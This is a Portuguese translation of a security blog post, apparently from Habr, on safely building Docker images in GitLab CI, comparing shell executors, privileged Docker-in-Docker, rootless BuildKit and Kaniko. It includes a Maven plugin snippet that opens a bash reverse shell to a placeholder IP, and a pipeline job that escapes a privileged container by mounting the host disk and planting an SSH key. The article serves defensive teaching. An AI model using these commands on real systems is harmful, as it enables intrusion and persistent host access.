Olá, Habr! Eu sou Sasha Lysenko, uma das principais especialistas em desenvolvimento seguro da Segurança cibernética K2. Agora, existem muitas ferramentas para automatizar tarefas rotineiras, e todos estão se movendo ativamente nessa direção para otimizar recursos e resultados rápidos. Por exemplo, no DevOps, a introdução de pipelines de CI/CD acelera o desenvolvimento, a implantação de aplicativos e reduz o tempo de lançamento no mercado. A automação é um processo indispensável hoje, mas também abre excelentes brechas para ameaças cibernéticas. Nem todo mundo pensa em quem e para que acesso é distribuído e quais consequências isso pode levar. Portanto, sem levar em conta a segurança cibernética, existem riscos adicionais de incidentes. Neste artigo, analisei passo a passo um exemplo de construção de imagens do Docker em pipelines de CI do GitLab, levando em consideração o equilíbrio entre a segurança do desenvolvimento automatizado e a velocidade do processo.
Passo 1. Executor de shell
Então, criamos uma máquina virtual separada, instalamos o daemon Gitlab CI nela, registramos no GitLab e começamos a lançar nossos payplanes. Ótimo – temos DevOps!


Agora, em nossa infraestrutura, qualquer desenvolvedor pode executar código arbitrário com direitos gitlab-runner, obtendo assim acesso ao host. Além da capacidade de influenciar pipelines de outros projetos, esse acesso também permite que você avance na infraestrutura. Os executores geralmente têm acessos estendidos à rede, por exemplo, para automatizar a implantação. No tempo de execução das tarefas, existem segredos e senhas bastante interessantes, e também abre a oportunidade de incorporar malware nos resultados de nossa automação.


Quais soluções temos:
Opção 1. “Limitar o lançamento de pipelines apenas para ramificações protegidas e mesclar o código neles somente após uma revisão de código” parece uma boa solução, mas na prática não é aplicável. Somos obrigados a ser rápidos, a testar hipóteses rapidamente, e essa abordagem atrasará muito o processo de desenvolvimento. Além disso, isso não nos protegerá de forma alguma de possíveis impactos de dependências comprometidas.
Opção 2. Proibir os desenvolvedores de editar o pipeline. Por exemplo, mova-os para um repositório separado ou simplesmente proíba a edição do arquivo. Assim como no método anterior, esta opção também apresenta problemas. Primeiro, nem sempre há uma pessoa dedicada em CI/CD. Em segundo lugar, dependências comprometidas. Em terceiro lugar, não se esqueça de que você pode executar o “script” de maneiras diferentes. Por exemplo, temos dois estágios de construção: no primeiro estágio, construímos um arquivo jar usando o maven e, no segundo estágio, construímos uma imagem docker com esse arquivo jar.
stages:
- build
- dockerize
maven-build:
stage: build
script:
- echo "Running Maven build..."
- mvn clean package -DskipTests
artifacts:
paths:
- target/*.jar
docker-build:
stage: dockerize
script:
- echo "Building Docker image..."
- docker build -t my-app-image
Ao manipular a configuração do maven, você pode executar um script arbitrário:
org.codehaus.mojo
exec-maven-plugin
3.1.0
package
exec
bash
-c
bash -i >& /dev/tcp/256.261.282.293/6666 0>&1
Simplesmente não é possível proibir TUDO o que é executado na fase de construção, existem muitas brechas. E, como resultado, começamos novamente a desacelerar os processos.
Etapa 2. Docker Executor
Os contêineres vêm em nosso auxílio. Eles permitem isolar o tempo de execução de tarefas de CI e restringir o acesso aos recursos do host.
Vamos voltar ao nosso pipeline de dois estágios. Para construir o contêiner, precisamos de um daemon docker. O acesso ao sistema host será descartado imediatamente – isso permitirá gerenciar o tempo de execução de outras tarefas e, em geral, tendo tais privilégios, não é difícil obter acesso total ao sistema.
Vamos voltar para a documentação. Lá, somos aconselhados a usar a imagem dind (Docker no Docker) como um serviço para nossa tarefa. Para que isso funcione, você precisa configurar o executor para executar contêineres no modo privilegiado:
concurrent = 100
log_level = "warning"
log_format = "text"
check_interval = 3 # Value in seconds
((runners))
name = "first"
url = "
executor = "docker"
token = "*******53NxVFzR**********"
(runners.docker)
tls_verify = false
privileged = true
disable_cache = false
volumes = ("/cache")
pull_policy = "if-not-present"
allowed_pull_policies = ("if-not-present")
userns_mode = "auto"
security_opt = (
"no-new-privileges"
)
stages:
- build
build:
stage: build
image: docker:24.0.5
services:
- name: docker:24.0.5-dind
alias: docker
command: ("--tls=false")
variables:
DOCKER_HOST: tcp://docker:2375
DOCKER_DRIVER: overlay2
DOCKER_TLS_CERTDIR: ""
before_script:
- docker info
script:
- docker build -t 'my-registry/t-group/backend:latest'
O principal problema que ainda temos é o contêiner privilegiado. Com esse acesso, ainda podemos acessar o sistema host com manipulações bastante simples.
stages:
- build
build:
stage: build
image:
name: docker:latest
docker:
user: root
variables:
DOCKER_HOST: tcp://docker:2375
DOCKER_DRIVER: overlay2
DOCKER_TLS_CERTDIR: ""
services:
- name: docker:24.0.5-dind
alias: docker
command: ("--tls=false")
before_script:
- docker info
script:
- mkdir /pwnd
- mount /dev/dm-0 /pwnd
- echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/p4C5igypITUB/t/WfiEwTx8pAt6qlI+ik7P2MnVbQOmLThEtJ7GYMAhBWBuJDWsuiSVndIUJPLOeTJyK85vImQY7tsSf1dQ0VWUdLojqQ3B0Vq2tdFd5Egi1e2HMxUjrd39AO9oohTvGhPVNicY1iSIkqawQLuAIOSvv9ZF8JfeEeoboT0rKrA/oX1fFD8jJ7N+vRQVzZ0sx+xoLcSVoy28jsj9x8hSJR+/+x0nULcGceJgmthF2bqzplJyImi8B2NT1zwO6b5l9BfvTCikkHrfTYLzmSaP0F8cQ5qyq0y/N6bQ4JJxBLAPgxFdKviWrK8WzailCSbR+csFePW18Ti1lVAOca+NpnRTXUHMVmu+4Zw6wUB0v/bYPn5b/Yq7yibCdC5IRQEzauji+MgOTx/l9b3b3hXyf4e+YnjiBAe9vCMZsQO0SWO9zWaEtj8dpJb8T5jmuuMYbxgWI99dobCqUSMk9b5mPPsRkUDQGzE3DbbAkVqE615As1OxTzrs= pwnd@pwnd' >> /pwnd/home/debian/.ssh/authorized_keys
- docker build -t my-docker-image

Embora possamos confiar em nossos desenvolvedores para impedi-los de fazê-lo, não podemos garantir que as imagens e o software que usamos estejam livres de vulnerabilidades ocultas ou códigos maliciosos. Além disso, mesmo o acesso limitado ao ambiente de desenvolvimento pode ser um ponto de entrada para acesso privilegiado à infraestrutura. Portanto, vamos tentar reduzir esses privilégios o máximo possível.
Etapa 3. Kit de construção sem raízes
O acesso privilegiado requer a execução do docker — vamos tentar nos livrar dele. De todas as funcionalidades, precisamos apenas de uma compilação. O Docker usa o buildx para criar contêineres, que por sua vez envia solicitações para o daemon do buildkit. Executar o buildkit de um daemon também requer privilégios privilegiados, mas há uma seção interessante na documentação chamada “Modo sem raiz” – executando um buildkit sem privilégios de root.
Para implementar o modo rootless, é usado o RootlessKit, que é uma implementação do “fake-root”. Kit sem raiz crum namespace de usuário adicional, imitando o usuário root. Mais detalhes podem ser encontrados em Documentação do RootlessKit.
Há um script no kit de compilação buildctl-daemonless.shIsso nos permitirá executar a compilação sem um daemon. Para ser mais preciso, o script inicia o daemon e o buildkitctl o acessa. Para simplificar o pipeline, você pode usar esse script em vez de iniciar o serviço. Assim, obtemos o seguinte pipeline:
stages:
- build
build:
stage: build
image:
name: moby/buildkit:master-rootless
entrypoint: ("")
variables:
BUILDKITD_FLAGS: --oci-worker-no-process-sandbox
script:
- buildctl-daemonless.sh build
--frontend=dockerfile.v0
--local context=./
--local dockerfile=./
--output type=image,name=registry.null/t-group/backend:latest,push=false
Para usar o RootlessKit, você deve desabilitar explicitamente os perfis apparmor e seccomp, pois seus perfis padrão não permitem que você crie novos namespaces. E também adicione recursos do Linux SETUID, SETGUID e remova a opção no-new-privileges para simular o usuário root. Como resultado, a configuração do executor ficará assim:
concurrent = 100
log_level = "warning"
log_format = "text"
check_interval = 3
((runners))
name = "first"
url = "
executor = "docker"
token = "*******53NxVFzR**********"
(runners.docker)
tls_verify = false
privileged = false
disable_cache = true
volumes = ()
pull_policy = "if-not-present"
allowed_pull_policies = ("if-not-present")
userns_mode = "auto"
cap_add = ("SETUID", "SETGID")
user = "1000:1000"
security_opt = (
"seccomp=unconfined",
"apparmor=unconfined"
)
No contexto do RootlessKit, esta solução não apresenta riscos de segurança adicionais. No entanto, ele requer o suporte de um pool de executores separado dedicado exclusivamente à criação de imagens em contêineres. Além disso, devido à falta de mecanismos de criação de perfil de segurança, temos que especificar explicitamente o uid e gid do usuário na configuração da tarefa, o que pode ser bastante inconveniente.
Etapa 4. Kaniko
E se quisermos manter os perfis seccomp e apparmor? É aqui que entra o Kaniko, uma ferramenta de montagem de contêineres. Kaniko tem uma série de limitações: você não pode criar contêineres do Windows, dificuldades com loops em links e atualizações raramente são lançadas. Ao mesmo tempo, permite montar contêineres sem comprometer a segurança:
stages:
- build
build:
stage: build
image:
name: gcr.io/kaniko-project/executor:v1.23.2-debug
entrypoint: ("")
script:
- executor
--context "${CI_PROJECT_DIR}/"
-f "${CI_PROJECT_DIR}/Dockerfile"
--destination 'registry.null/t-group/backend:latest'
Kaniko não cria novos namespaces. Em vez disso, ele descompacta a camada de imagem e faz chroots.

Isso impõe uma série de restrições:
-
aumento do tempo de montagem;
-
loops em links;
-
executando apenas a partir da raiz (embora as abstrações acima isolem o contexto é muito bom).
Inferência
Limitar privilégios com um “grande gesto” não funcionará. Independentemente da ferramenta usada, você precisará de uma delimitação clara entre o código do aplicativo e o código CI/CD, um modelo de acesso baseado em função bem pensado e um gerenciamento eficaz de privilégios.
É importante entender que mesmo a documentação oficial geralmente contém soluções com sérios riscos. Portanto, a integração da segurança cibernética deve ser realizada de forma abrangente, tanto no nível técnico quanto no nível organizacional. Somente uma abordagem sistemática minimizará os riscos e garantirá a proteção sustentável do desenvolvimento.